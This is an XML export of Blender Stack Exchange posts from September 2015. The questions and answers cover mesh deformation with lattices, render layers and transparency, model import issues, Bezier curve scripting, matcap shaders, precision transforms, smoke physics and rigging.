  <row Id="38236" PostTypeId="1" AcceptedAnswerId="38321" CreationDate="2015-09-08T16:59:14.317" Score="3" ViewCount="1742" Body="&lt;p&gt;I'm trying to bend a simple snake-like model (see the figures) using a curve in order to tune the shape for my needs. I first tried to use the curve modifier, but since I'm already given a mesh with deformed axis it didn't work as expected. I next thought of using the lattice modifier, deformed itself by the curve I set, i.e. I first bend the lattice to match the form of my mesh (using a Bezier curve) and then apply it as a modifier to my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x53cb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x53cb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it didn't work either: the lattice twists and squeezes the shape the way I don't want (see the figure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? How to make the mesh deformation follow the curve I specify?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SlP4C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SlP4C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17992" LastActivityDate="2015-09-10T14:30:51.530" Title="Bending with Lattice modifier" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38237" PostTypeId="1" AcceptedAnswerId="38238" CreationDate="2015-09-08T17:31:19.850" Score="2" ViewCount="182" Body="&lt;p&gt;Often I create a 3D scene in order to save the 2D image and do some post-production in Photoshop. Also in some cases the final result (after post) is an Isolated on White image. What is the best way to do this ? Should I create a kind of Infinity wall (Cyclorama) in Blender and use that as a background ? And making it easier to judge the image and also maybe the easiest for post-processing ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this image below. I created a plane as background (and the World is black). But cutting out the dices would be a lot easier when I would not have this background. By the way ... I want to keep my shadows (because I need those for the final image). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zZfYb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zZfYb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13877" LastActivityDate="2015-09-08T18:06:18.937" Title="Best background for cut outs" Tags="&lt;scene&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38238" PostTypeId="2" ParentId="38237" CreationDate="2015-09-08T17:47:00.150" Score="1" Body="&lt;p&gt;Likely in your situation, you would want to render the dice as a foreground layer, the floor with shadow as a separate layer, and then turn on transparency in the render settings. That way you will get transparency where the black is now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Photoshop, you can add a background colour layer with a gradient and blend it into the floor layer easily. No need to render something simple like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Render Layer Settings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that the blocks are on Layer 1 of the viewport and the Floor is on Layer 2. In the render layer panel, we select Scene Layers 1 and 2, and then assign Layer 1 to Render Layer 1 (named Blocks) and Layer 2 to Render Layer 2 (named Floor). Make sure the Combined pass is enabled for both layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W6WIE.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W6WIE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Enable Transparency&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/axfdU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/axfdU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the UV Editor, select Render Result, then you'll have the option to switch between the 2 rendered layers. You can save out each layer as a PNG file (RGBA).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BblRf.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BblRf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output Blocks PNG&lt;/strong&gt; (has alpha channel, though not obvious on SE page here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ppWxy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ppWxy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output Floor PNG&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rkvLw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkvLw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus Tip&lt;/strong&gt;&#xA;If you were finding you were re-rendering the image a lot, you could enable compositing and add File Output nodes to write the PNG's to disk as part of the render process. I can detail that process if need be.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-09-08T18:06:18.937" LastActivityDate="2015-09-08T18:06:18.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38239" PostTypeId="2" ParentId="38233" CreationDate="2015-09-08T17:59:39.453" Score="1" Body="&lt;p&gt;Would it be practical to use the formula for a Bezier Curve (&lt;a href=&quot;https://en.wikipedia.org/wiki/B%C3%A9zier_curve&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia article&lt;/a&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4YsNn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4YsNn.png&quot; alt=&quot;B(t) = (1-t)**3*P0 + 3*(1-t)**2*t*P1 + 3*(1-t)*t**2*P2 + t**3*P3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can evaluate it for t varying from 0..1.  One complication is that the distance between evaluated points will vary, so if you want constant speed you'll have to compensate by adjusting your time-&gt;t mapping.  P0..P3 correspond to the points and handles of each segment of the bezier curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a short python example of how to inspect the control points and handles of a bezier curve (in case you are unable to inspect them in the N-panel pop-out of the 3D view):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def mission1(curve):&#xA;    for spline in curve.splines:&#xA;        for kp in spline.bezier_points:&#xA;            print(&quot;%r&quot;%[kp.handle_left, kp.co, kp.handle_right])&#xA;        print(&quot;&quot;)&#xA;&#xA;mission1(bpy.context.active_object.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://blender.stackexchange.com/questions/6692/mathematical-formula-for-bezier-curves?rq=1&quot;&gt;Mathematical formula for Bezier curves&lt;/a&gt;  and &lt;a href=&quot;https://blender.stackexchange.com/questions/24477/how-can-i-know-the-data-paths-of-certain-point-of-bezier-curve?rq=1&quot;&gt;How can I know the data paths of certain point of bezier curve?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-09-08T18:23:17.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38240" PostTypeId="1" CreationDate="2015-09-08T18:21:01.093" Score="0" ViewCount="756" Body="&lt;p&gt;I'm importing a .obj file from sculptris and the model comes out normal on one half and looking staticy on the other. I checked and there are no materials or textures connected to it, and creating a new material doesn't help. I tried importing the file 3 times and it still wouldn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried going to edit mode to see what was going on with the mesh/flip the normals but neither of these helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go into wireframe mode to see if there's a weird surfacing going on blender crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone seen this before? I've been able to import other .obj files before and never had this problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below picture shows issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UxFjp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UxFjp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17995" LastActivityDate="2015-09-08T18:50:25.323" Title=".OBJ Import Error" Tags="&lt;mesh&gt;&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38241" PostTypeId="2" ParentId="38240" CreationDate="2015-09-08T18:50:25.323" Score="1" Body="&lt;p&gt;Two courses of action to try taking here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go into Sculptris and use the vertex decimation tool to reduce how many verticies there are.  This may not be an option if you have already painted the model.&lt;/li&gt;&#xA;&lt;li&gt;When you import the mesh, try the option &quot;keep vert order&quot;.  It is one of those things that usually don't matter...unti it does.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The outcomes of those guys should inform what is happening.&lt;/p&gt;&#xA;" OwnerUserId="79" LastActivityDate="2015-09-08T18:50:25.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38242" PostTypeId="2" ParentId="38234" CreationDate="2015-09-08T19:37:33.953" Score="4" Body="&lt;p&gt;True Normal vector does not take in account smooth shading. Use &lt;strong&gt;Normal&lt;/strong&gt; vector instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DEmYH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DEmYH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By examining the matcap, we can say that we are already not too far away from the result. The colours in the corners of the matcap are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blue Violet Yellow Green&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While in the preview we see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Black Red Violet Green&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Viewed from the top, Suzanne looks this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hUnPy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hUnPy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colors ar much more similar to the normal matcap, which is in someway related with the coordinates of a sphere's point viewed from top (with a bit of easing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sLwVZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sLwVZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming back to Suzanne, by rotating the Texture coordinates of -90° you'll easily get the colors from the top to be tranferred to the front:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WoN3E.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WoN3E.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than by tweaking the values you may obtain a simlar result (or even better)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nyv2s.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nyv2s.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this kind of shader will looks good only from one side: the front. Normal maps are in fact made to be viewed from one side only...it just a plain texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the camera change its position, something must be elaborate to take in account the changing of the view point and re-elaborate the coordinates of the shaders. This can be done with the node setup you can find in &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?303899-SOLVED-matcap-in-cycles-with-nodes&amp;amp;p=2591752&amp;amp;viewfull=1#post2591752&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; Blenderartist thread about creating a matcap shader in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll report the nodetree in the image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WZEsy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZEsy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image texture is containing a pic of normal matcap mirrorball. In your case, the Transform vector output can also be used (after tweaking saturation and values) without the need of an external image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This  shader will look like a normal matcap from every point of view.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-09-08T22:04:51.720" LastActivityDate="2015-09-08T22:04:51.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38243" PostTypeId="2" ParentId="38235" CreationDate="2015-09-08T20:20:21.617" Score="6" Body="&lt;p&gt;If you choose to &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/transform/control/precision/introduction.html#rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;rotate with 5 degrees precision&lt;/a&gt; (or another transform operation), you should hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; while performing transform operation; if holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/transform/control/precision/introduction.html#precision-snapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;rotation will happen by 1 degree&lt;/a&gt;. &lt;strong&gt;Snap during transform&lt;/strong&gt; should be turned off, but its option &lt;em&gt;Increment&lt;/em&gt; should be checked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l5c7D.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l5c7D.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transforming without precision will be done in case of other snapping option selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you turn on &lt;strong&gt;Snap during transform&lt;/strong&gt;, you can perform transforms with precisions &lt;em&gt;without&lt;/em&gt; holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2etAN.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2etAN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to read about &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/transform/control/precision/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;performing transforms with precision in manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2017-02-01T22:20:45.597" LastActivityDate="2017-02-01T22:20:45.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38244" PostTypeId="1" CreationDate="2015-09-08T21:11:46.100" Score="1" ViewCount="25860" Body="&lt;p&gt;I admit I am a newbie at Blender. (sounds a bit like alcoholic anonymous).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find a suburban scene, (a few buildings, roads, maybe some street signs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tf3dm.com/3d-model/environment-23742.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tf3dm.com/3d-model/environment-23742.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which will do in a pinch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download formats are FBX and OBJ (and an MTL file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with Blender 2.7, when I import I do not get the textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gone through the 7 hours of &lt;a href=&quot;http://www.lynda.com/Blender-tutorials&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.lynda.com/Blender-tutorials&lt;/a&gt; but this one is a bit beyond me. I am probably missing something basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is something quick (in terms of my time) and free, since this is a proof of concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Here is what I get with OBJ import, and two hemisphere lights behind the camera).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rdnkw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rdnkw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;UPDATE&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I tried again with FBX, textures in same directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the OBJ import, all I had to do was set the VIEWPORT shading to texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the FBX (you can see below) if I set the viewport shading to RENDER it I see the textures, but not with Texture rendering (as I said, I am a newbie). There seems to be a odd difference between the handling of OBJ and FBX. but it is good to get this going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this model does not work for me, since I need export to Babylon.js, and that does not work well with this sort of TGA and multi-texture format files (see the firestorm I started in the Babylon.js forum)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.html5gamedevs.com/topic/17001-missing-manifest-from-blend-exporter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.html5gamedevs.com/topic/17001-missing-manifest-from-blend-exporter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mgHTw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mgHTw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17998" LastEditorUserId="17998" LastEditDate="2015-09-11T14:28:49.570" LastActivityDate="2018-04-10T12:46:55.507" Title="Blender Import with materials (textures)" Tags="&lt;texturing&gt;&lt;import&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38245" PostTypeId="1" CreationDate="2015-09-08T21:20:31.503" Score="3" ViewCount="1772" Body="&lt;p&gt;I'm triyng to apply smoke flow to multiple objects at the same time (in the same domain, with blender internal).&#xA;I Know it's possible for Rigod bodies, with the &lt;em&gt;'copy from active'&lt;/em&gt; button, but I can't find how for smoke...&lt;/p&gt;&#xA;&lt;p&gt;The leads I've followed, without success:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copying physics properties from an object to others (not successful)&lt;/li&gt;&#xA;&lt;li&gt;selecting multiple object at the same time and applying smoke domain in the phycis tab (idem)&lt;/li&gt;&#xA;&lt;li&gt;the best I've managed to do: I've noticed that it's possible to apply smoke to multiple objects at the same time by selecting all the desired objects, and applying a &amp;quot;quick smoke&amp;quot;. But I don't know how to adjust the default &amp;quot;quick smoke&amp;quot; properties of the flow objects...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So I've tried to look at the &lt;code&gt;object_quick_effects.py&lt;/code&gt;, to modify the default properties, but nothing seems to refer at the flow domain...&lt;/p&gt;&#xA;&lt;p&gt;I assume it should be possible with scripting, but I don't know anything about python, and I was wondering if there was a simpler way?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&lt;p&gt;I've finally resolved this problem: As soon as the smoke flow is a modifier, we can use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; to copy the modifier on one mesh to all the other selected ones.&lt;/p&gt;&#xA;" OwnerUserId="16299" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-01-27T15:02:42.157" Title="Applying physics to multiple objects at the same time" Tags="&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38246" PostTypeId="2" ParentId="38244" CreationDate="2015-09-08T21:45:12.017" Score="1" Body="&lt;p&gt;I have downloaded the files you linked to.&#xA;I extracted the zip file and (using blender 2.75) used file, import FBX and opened the FBX, hit F12 and no textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closed blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the zip, there is a .RAR file 'textures.rar'. I extracted that file in the same directory as the FBX and repeated the above process. Textures where showing up when rendering.&lt;/p&gt;&#xA;" OwnerUserId="17999" LastActivityDate="2015-09-08T21:45:12.017" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38247" PostTypeId="2" ParentId="3778" CreationDate="2015-09-08T21:58:25.893" Score="5" Body="&lt;p&gt;I was having an issue when exporting DAE's to use in Aurasma. After hours of messing around and re-exporting I realised that the problem was that I'd set Blender to default to the 'Cycles' renderer (and therefore associated materials) and exporting DAE's with textures only works with materials created in 'Blender Render' mode. I'm not sure that this solves the exact issue above but it's worth checking out and/or it may help someone else who is trawling the internet looking for a solution to the same issue as me.&lt;/p&gt;&#xA;" OwnerUserId="18000" LastActivityDate="2015-09-08T21:58:25.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38248" PostTypeId="1" AcceptedAnswerId="38272" CreationDate="2015-09-08T22:05:22.567" Score="7" ViewCount="2193" Body="&lt;p&gt;I have a camera that has always seemed to give me bad video because of interlacing, and until I watched &lt;a href=&quot;https://www.youtube.com/watch?v=xKMWjRlIvrY&quot;&gt;this video&lt;/a&gt;, I always thought that it was just a limitation of the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that video, I learned that video can be deinterlaced, is it possible to this using Blender?&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-09-09T09:18:43.697" Title="Is there a way to deinterlace footage using Blender?" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38249" PostTypeId="1" CreationDate="2015-09-08T22:18:39.260" Score="2" ViewCount="598" Body="&lt;p&gt;I've created an own &lt;code&gt;UIList&lt;/code&gt; for an addon. It's just used to display some properties of &lt;code&gt;Action&lt;/code&gt; (as that one doesn't have a properties panel in the Action Editor), so it must get populated with actions and not with user input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It actually must be updated manually, with a button I added below it. Althought this already works, I think it's not nice, so I was wondering if there was any way to update the list automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to override the &lt;code&gt;draw&lt;/code&gt; method and override it there, but then the List (and the panel in general) isn't displayed at all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;        # LIST UPDATE&#xA;        bpy.types.UIList.draw(self, context)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my &lt;code&gt;UIList&lt;/code&gt; implementation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyUIList(bpy.types.UIList): &#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):&#xA;&#xA;        custom_icon = 'OBJECT_DATAMODE'&#xA;&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            layout.label(bpy.data.actions[item.Index].name, icon = custom_icon)&#xA;&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(&quot;&quot;, icon = custom_icon)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="16174" LastActivityDate="2015-09-09T14:57:14.553" Title="Automatically update an UIList" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38250" PostTypeId="1" CreationDate="2015-09-08T23:23:48.140" Score="0" ViewCount="1238" Body="&lt;p&gt;I'm trying to rig a model I have, but when I add the skeleton, I pose and it glitches.&lt;br&gt;&#xA;An arm also pulls the stomach, 1 leg bone will pull both legs, and the head will pull the body too. I don't know what to do!&lt;br&gt;&#xA;(BTW I used Automatic Weights, with Envlope Weights it's a whole different problem.)&lt;/p&gt;&#xA;" OwnerUserId="18002" LastEditorUserId="2217" LastEditDate="2015-09-09T01:57:51.543" LastActivityDate="2018-06-14T03:32:45.670" Title="Bone rig doesn't work?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38251" PostTypeId="1" CreationDate="2015-09-08T23:27:17.713" Score="2" ViewCount="378" Body="&lt;p&gt;&lt;a href=&quot;http://gfycat.com/EverlastingJubilantChihuahua&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/EverlastingJubilantChihuahua.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this is related at all, but before when I was rotating the object strechted while rotating. Like the z axis scaled higher but everything else didn't. While rotating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The half of an arm I'm manipulating has multiple children and is a child to the upper half of the arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It was jumping around because some parts of it were overlapping with the main body mesh and collision was enabled so it jumped around. I'm still having the problem of scaling when I rotate the mesh. I can't find anything online, so I think I'm gonna rotate it so I have the scale I want then join all the different meshes together into one character mesh.&lt;/p&gt;&#xA;" OwnerUserId="18001" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.680" LastActivityDate="2015-09-09T20:52:13.560" Title="When rotating, objects jump around the screen" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38253" PostTypeId="1" AcceptedAnswerId="38256" CreationDate="2015-09-09T00:44:52.567" Score="1" ViewCount="60" Body="&lt;p&gt;Node editor is just as below:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HAgVa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HAgVa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I mirror the eye with an empty.&#xA;How do I get the same mirrored object?&lt;/p&gt;&#xA;" OwnerUserId="16261" LastActivityDate="2015-09-09T05:56:18.227" Title="Mirrored geometry does not receive the same material?" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38254" PostTypeId="2" ParentId="38220" CreationDate="2015-09-09T01:20:47.507" Score="1" Body="&lt;p&gt;The materials for the object don't have a texture associated with them.&#xA;Select your object.&#xA;In the materials slot select the material slot that will use the texture.&#xA;Move to the texture section and create a new texture that uses your image.&lt;a href=&quot;https://i.stack.imgur.com/lxWx9.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxWx9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-09-09T01:20:47.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
